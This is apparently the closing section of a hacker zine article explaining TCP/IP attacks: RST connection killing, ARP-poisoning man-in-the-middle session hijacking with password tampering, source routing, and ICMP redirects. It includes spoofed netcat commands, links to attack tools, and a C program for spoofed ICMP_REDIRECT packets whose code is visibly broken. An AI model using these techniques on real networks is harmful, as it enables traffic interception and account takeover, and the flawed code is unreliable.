--] 1.3.4 ATTACKS - BLIND SPOOFING ATTACKS - CONNECTION KILLING
As you probably know by now, the RST flag is a very commonly used flag in
packets, usually used to signal to the remote host that the connection should be
reset. The only thing that is needed in a RST packet is the RST bit set to 1,
the SEQuence number set to the CLIENT's SEQuence number + 1, and the source
port. It is NOT as simple as simply sending a spoofed TCP packet with the RST
flag set, and killing the connection.
Although this is still a serious vulnerability in TCP/IP, to exploit it we would
again as above have to brute force BOTH the source port (the port the client
host is sending data from), and the correct Sequence number to send. To brute
force the Sequence Number, see above. The process of brute forcing the source
port is a little easier, as usually the only possibilities is the range
1024-65535.
Here is a basic diagram of what would happen during a connection killing attack:
******************************************
...Host T is communicating with Host S...
Host X: RST, SEQ (A), SRC (Host T, Port 1234) -> Host S
...Host S closes the connection because it thinks the RST packet was from Host
T...
******************************************
--] 1.3.5 ATTACKS - BLIND SPOOFING ATTACKS - CONNECTION KILLING TOOLS
Although TCP connection killing is an interesting sub-topic in IP spoofing,
there exists only a few tools for this purpose. A nice TCP connection killing
program written in C is "tcpkill".
You can grab the source code for tcpkill here:
http://packetstormsecurity.org.pk/groups/w...sniff/tcpkill.c
Note that tcpkill requires that you have libpcap installed on your UNIX machine.
You can download Libpcab here:
http://www.tcpdump.org/release/libpcap-0.7.2.tar.gz
--] 1.5 ATTACKS - IP SPOOFING - FURTHER READING
You might want to read more about IP spoofing. Here's some good links for
further reading on the subject:
IP spoofing
************
http://www.securityfocus.com/infocus/1674
http://www.hack.gr/linux/gazette/issue63/sharma.html
http://www.cert.org/advisories/CA-1996-21.html
http://www.phrack.org/phrack/48/P48-14
http://bau2.uibk.ac.at/matic/spoofing.htm
--[ 1.0 ATTACKS - TCP SESSION HIJACKING ]--
TCP session hijacking is the term used to describe an attacker hijacking an
already established connection, usually allowing them to execute commands as the
actual connected user.
It is due to slight design errors in the TCP/IP suite that this kind of attacks
is possible, making it almost trivial for the attacker who has seized access to
the connection to execute commands as the legimate user.
There are a few various types of TCP session hijacking techniques, but a very
commonly used one, and arguably the most popular of TCP hijacking techniques is
the "Man-in-the-middle" attack.
--] 1.1 ATTACKS - TCP SESSION HIJACKING - MAN-IN-THE-MIDDLE ATTACK
The "man-in-the-middle" attack is a common method of taking over a TCP
connection between two hosts, and allows the attacker who has gained access to
the connection to execute commands as the client host.
This is done by active passive sniffing of the network for packets travelling
which are related to the target session, modifying them, and injecting them back
into the Network so that the two connected hosts cannot easily tell that any
modification of the packets has been done.
Before an attacker can carry out a man-in-the-middle attack between two
connected hosts, they must first somehow get between the communications path of
Host C and Host S. The classical way of doing this is known as "ARP spoofing"
or "ARP poisoning".
The ARP table on a host is just a method that a networked host uses to keep
track of MAC and IP address associations. Every so often, one host on the
network might send out an ARP request. An ARP request asks a question, like
this "Is your IP address x.x.x.x? If so, send me your MAC address.". The
message is broadcast across the network, and the host with the IP address
x.x.x.x replies to the ARP request, providing it's MAC address with it. ARP
spoofing therefore is sending out ARP replies (nobody has necessarily asked for
it, the attacker just sends one) with a spoofed source address from the IP
address you want the hosts to believe you are. The host will then update it's
own ARP cache table, now associating your machine's MAC address with the spoofed
IP address, thus sending all traffic meant for x.x.x.x to you.
In this case then, the attacker's need for ARP spoofing in his planned
"man-in-the-middle" attack is the process of changing Host C's ARP cache to
believe that the IP address of Host S is the attacker's IP address, and changing
Host S's ARP cache to make it believe that Host C's IP address is the
attacker's. All very interesting, but how do we actually do this? Here is a
simple diagram of what happens during an ARP poisoning/spoofing attack:
******************************************
...The attacker broadcasts an ARP reply, claiming that it infact owns the IP
address x.x.x.x
Host X: DST (Host S), SRC (Host C), DATA ("I own x.x.x.x, my MAC address is
xx:xx:xx:xx")
Host X: DST (Host C), SRC (Host S), DATA ("I own y.y.y.y, my MAC address is
yy:yy:yy:yy.")
******************************************
What the attacker has done is, forge an ARP reply to be pretending to originate
from Host C, to Host S, saying that it infact owns the IP address x.x.x.x, and
that it's MAC address is xx:xx:xx:xx. Host S now believes that Host C's IP
address is x.x.x.x, and it IS, but it also believes now that Host C's MAC
address is xx:xx:xx:xx, but it's NOT, it's the attacker's MAC address! Now
every time Host S has a packet that it intends for Host C, it searches through
it's ARP cache, and determines that Host C's MAC address is xx:xx:xx:xx, but it
is not, it is infact the attacker's address, but believes so because of your
spoofed ARP reply!
Then the attacker spoofs an ARP reply to be pretending from Host S, to Host C,
telling it that it owns the IP address y.y.y.y. It sees that the ARP reply is
coming from yy:yy:yy:yy, and thus associates the IP address y.y.y.y with the
ATTACKER's MAC address yy:yy:yy:yy.
Now that the attacker has both hosts believing that each other's MAC addresses
are infact the attacker's, all he needs to do now is watch all packets
travelling through his machine that are related to the connection between Host S
and Host C that he is attempting to hijack, modify them accordingly, and then
forward them to the host it was originally intended for so that their connection
isn't interrupted.
Here is a small diagram of what would be happening during a Man-In-the-Middle
session hijacking attack, assuming that the ARP poisoning attack had already
taken place:
******************************************
Host S: DST (Host C), DATA ("Welcome to the system. You are using the bash
shell") -> Host C
...sent to Host X (attacker) because of the earlier ARP poisoning attack. Host
X forwards the packet, not making any changes...
Host C: DST (Host S), DATA ("ls") -> Host S
...again, Host X (attacker) receives this because it tricked Host C with the ARP
poisoning attack above. Host X forwards the packet to Host S without any
changes, because they are only issuing the 'ls' command...
Host S: DST (Host C), DATA ("tmp codes exploits Desktop mp3s") -> Host C
...Host X again decides not to make any modifications to the packet, as Host S
(the server) is only sending the directory listings back, nothing special...
Host C: DST (Host S), DATA ("passwd") -> Host S
...The attacker's head shoots up. The user is going to change their password.
The attacker can edit the packet in which the user specifies their new password,
and set it to what they want. Host X forwards the packet to Host S without any
changes...
Host S: DST (Host C), DATA ("(current) UNIX password: ") -> Host C
...Host X forwards the packet with out any modifications to Host C...
Host C: DST (Host S), DATA ("elitehacker") -> Host S
...Host X receives the packet. Although the attacker now has the user's
password, it doesn't really matter, because he'll issue a new password is a few
moments, and he (the attacker) will modify it...
Host S: DST (Host C), DATA ("New UNIX password: ") -> Host C
...Host X forwards the packet to Host C, with no modifications. The time is
near to when the attacker will modify Host C's packets...
Host C: DST (Host S), DATA ("elitehacker123") -> Host S
...Host X receives the packet. The attacker modifies the packet data to now
contain "elitehacker234", and injects the packet back into the network, and
forwards it to Host S...
Host S: DST (Host C), DATA ("Retype new UNIX password: ") -> Host C
...Host X forwards the packet with no modifcations to Host C...
Host C: DST (Host S), DATA ("elitehacker123") -> Host S
...Host X receives the packet, the attacker modifies the packet, and edits the
packet data to say "elitehacker234", and forwards the packet appropriately to
Host S...
Host S: DST (Host C), DATA ("passwd: all authentication tokens updated
successfully.") -> Host C
...Host X receives the packet, and as usual, forwards it to Host C...
******************************************
At this point, the user on Host C happily presumes that their password has been
changed successfully (they saw the messages themselves), and gets on with their
daily work. However, little do they know that the attacker actually edited the
packets, and the password is now "elitehacker234", not "elitehacker123" as the
victim thinks.
--] 1.2 ATTACKS - TCP SESSION HIJACKING - TOOLS
There are various interesting tools in relation to TCP session hijacking
attacks. Here's a few popular ones:
HUNT - http://packetstormsecurity.nl/sniffers/hunt/
Ettercap - http://ettercap.sourceforge.net/
Further interesting tools related to TCP session Hijacking can be found at
http://www.packetstormsecurity.org
--] 1.3 ATTACKS - TCP SESSION HIJACKING - FURTHER READING
You might want to do a little further research after my rather brief explanation
of attacks. Here's a few good links for further reading:
http://www.iss.net/security_center/advice/...ing/default.htm
http://staff.washington.edu/dittrich/talks...ora/hijack.html
http://www.cs.cornell.edu/Courses/CS519/20...Ctcphijack.html
http://weadmin.com/satish/talk/non_blind_s...ion_hijack.html
--[ 1.0 ATTACKS - ROUTING ATTACKS ]--
When packets leave a system through their network interface, to travel across
the Internet to a given destination host, the best route is chosen for the
packet to ensure the quickest way to the destination host is taken. However,
various vulnerabilities exist in TCP/IP which allow attackers to interfere with
the route that legimate user's packets take to their destination, potentially
allowing attackers to perform sniffing, hijacking and other various attacks.
One such example is Source routing.
--] 1.1 ATTACKS - ROUTING ATTACKS - SOURCE ROUTING
Source routing is an example of a classical spoofing attack, and is a pretty old
trick in itself. The theory behind a source routing attack is the idea that you
can specify the route a packet takes, rather than just letting it go through the
routers. This way, because it didn't travel through routers, but through the
route of the attacker's choice, packets sent can have a spoofed address, and the
spoofing attack is non-blind.
What is meant by non-blind is that unlike Sequence Number Prediction attacks for
example, you can actually receive packets back.
This particular type of routing attack could be useful for an attacker in a
situation such as his/her target host, Company A, filters all packets from the
Internet, excluding those coming from Company B. If an attacker could source
route packets to travel through Company B's servers, the packets would be
accepted, rather than dropped as Company A's servers are configured.
Here's a simple example of how an attacker could spoof his address to appear to
have
originated from a trusted IP address, rather than his own, on a UNIX machine:
******************************************
[hacker@mybox.org /root]# ifconfig eth0:0 inet 192.168.3.201 netmask
255.255.255.255
[hacker@mybox.org /root]# nc -g 192.168.3.197 -g 192.168.3.198 -g 192.168.3.199
192.168.3.200 21
******************************************
Here, the attacker attempts to initiate an FTP connection, with a spoofed source
address of 192.168.3.201, by routing his connection through some other machines
on the local network, instead of routers.
However, although this attack is effective when successful, not all machines
(UNIX and UNIX-like) are configured by default to relay source routed TCP stream
packets. If one of machines an attacker attempts to route his packets through
does not accept sourcr routed TCP packets, the spoofing attack will consequently
fail.
One major upside to this attack for an attacker is that the attack is non-blind,
meaning that he/she can see the packets, just like an ordinary connection,
however it is limited to their local network.
Although this is quite a serious vulnerability in the TCP/IP suite, it is very
easily fixed. All that is needed is that the root user changes the contents of
/proc/sys/net/ipv4/conf/all/accept_source_route to 0.
--] 1.2 ATTACKS - ROUTING ATTACKS - ICMP REDIRECTS
As mentioned above, routers basically just determine the most efficient route to
the proposed destination host, and send the packet off on that route. To keep
this system as efficient as possible, when a packet is sent to the default
router on a network, if there is a closer router to the machine sending the
packet, the router sends an ICMP redirect packet back to the networked machine,
instructing it to send the packets to the other router on the network instead.
However, this little system has a potentially serious flaw: what if an attacker
spoofs an ICMP_REDIRECT packet to be pretending to be from the router to the
user's machine, telling the machine that his (the attacker's) box is actually
the best router to send the packets to instead. All packets in that connection
sent from the user on the network will then be instead sent to the attacker's
machine, which he can do what he likes with. Modify them (could be used as a
hijacking attack), drop them, or whatever he/she likes. Here's a very simple
diagram of the sort of activity on the network, during an ICMP_REDIRECT attack:
******************************************
Host C: SRC (Host C), SYN (ISN A), DST (Host S) -> Router A
Host X: SRC (Router A), ICMP_REDIRECT (Host X), DST (Host C) -> Host C
Host C: SRC (Host C), SYN (ISN A), DST (Host S) -> Host X
...attacker now has control of the packet. He/she can do what they like with
it, but should redirect it to the destination...
Host X: SRC (Host C), SYN (ISN A), DST (Host S) -> Host S
...Attacker redirected packet to original destination, so Host C doesn't get
suspicious about the connection request not being made...
******************************************
In this example attack, Host C (the client) attempted to send a connection
request to Host S via the default network router, Router A. However, before the
packet could get there, Host X (the attacker) spoofed an ICMP_REDIRECT packet
from Router A, telling Host C to send the packets via his own box (Host X,
obviously to do illegimate things with). Host X then forwarded the packet to
the proper destination (Host S), so as to not make Host C suspicious. Quite
obviously this type of attack could be used as a TCP/IP session hijacking
attack.
Here's a small program I have written as an example of how such an attack could
be implemented into a program:
*************************************CUT HERE**********************************
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
int sock;
char packet[5000];
struct sockaddr_in dest;
struct hostent *host;
struct iphdr *ip = (struct iphdr *) packet;
struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr);
if((host = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve host!\n");
exit(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
printf("Couldn't make socket!\n");
printf("You must be root to create a raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)host->h_addr);
ip->ihl = 5;
ip->id = htons(1337);
ip->ttl = 255;
ip->tos = 0;
ip->protocol = IPPROTO_ICMP;
ip->version = 4;
ip->frag_off = 0;
ip->saddr = htons("192.168.3.201");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
ip->check = 0;
icmp->checksum = 0;
icmp->type = ICMP_REDIRECT;
icmp->code = 0;
printf("Sent spoofed ICMP_REDIRECT packet from 192.168.3.201 to %s!\n",
argv[1]);
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest,
sizeof(struct sockaddr));
return(0);
}
*************************************CUT HERE**********************************
--[ CONCLUSION ]--
I hope that this paper benefits you in some way, if not for any other reason
than any laughs you had whilst reading my article. If you have any positive
comments on the article, any ideas for improvement or any other misc. comments,
drop me a line <shaunige@yahoo.co.uk>.
-Shaun2k2.
---
<port9> I took an online test, and it turns out I'm "Stoned Carebear"
---
-- Credits
Without the following contributions, this zine issue would be
fairly delayed or not released. So thank you to the following people:
Aestetix, Anonymous Phone Hero, Cybersk4nk, CYB0RG/ASM,
Diabolik, Kankraka, Kybo Ren, shaun2k2, and The Clone
-- Shouts:
CYB0RG/ASM, Wildman, H410g3n, warVamp, The Question, plappy, Phlux,
rt, Magma, Hack Canada, The Grasshopper Unit, Flippersmack, soapie,
Ms.O, Flopik, dec0de, caesium, oz0n3, Kris, *Senorita Chandelier*,
port9, Azriel J Knight, hades, deadprez, kankraka, coercion, math,
irc.2600.net #hackcanada / #nettwerked, and the Canadian H/P scene.
-- Special Shouts:
Thanks to el nerdo and Pinguino for their awesome K-1ine banner ads!
-- Rest In Peace:
Johnny Cash, John Ritter.
;. .;.. ; ;. ;..
;.. .;..; .;.; .;; ;..
.;..;. .;..; .;.;...; ;..;..
.;. A .;. .;.
;.. N E T T W E R K E D ;..
;..;.. P R O D U C T ;..;..
.;..; ;..;..
; .;..;.;.. .; . .;. ..;..
.;.. . .; ..;..;..;.. .;
;..;. .;.. . .;.. .;.;.
..;. ..;.. .;. ;.;..;;..;.;
;.;;..;.. ;.;.; .; .
;.;..;. .;. ;.;:.;.
,;....;.
.;.;. .;.;
.;.;.;
.;.;
;..;.
.;.;;.; .;. ..; ;. > > > The Things We Do. We Just Never Stop...
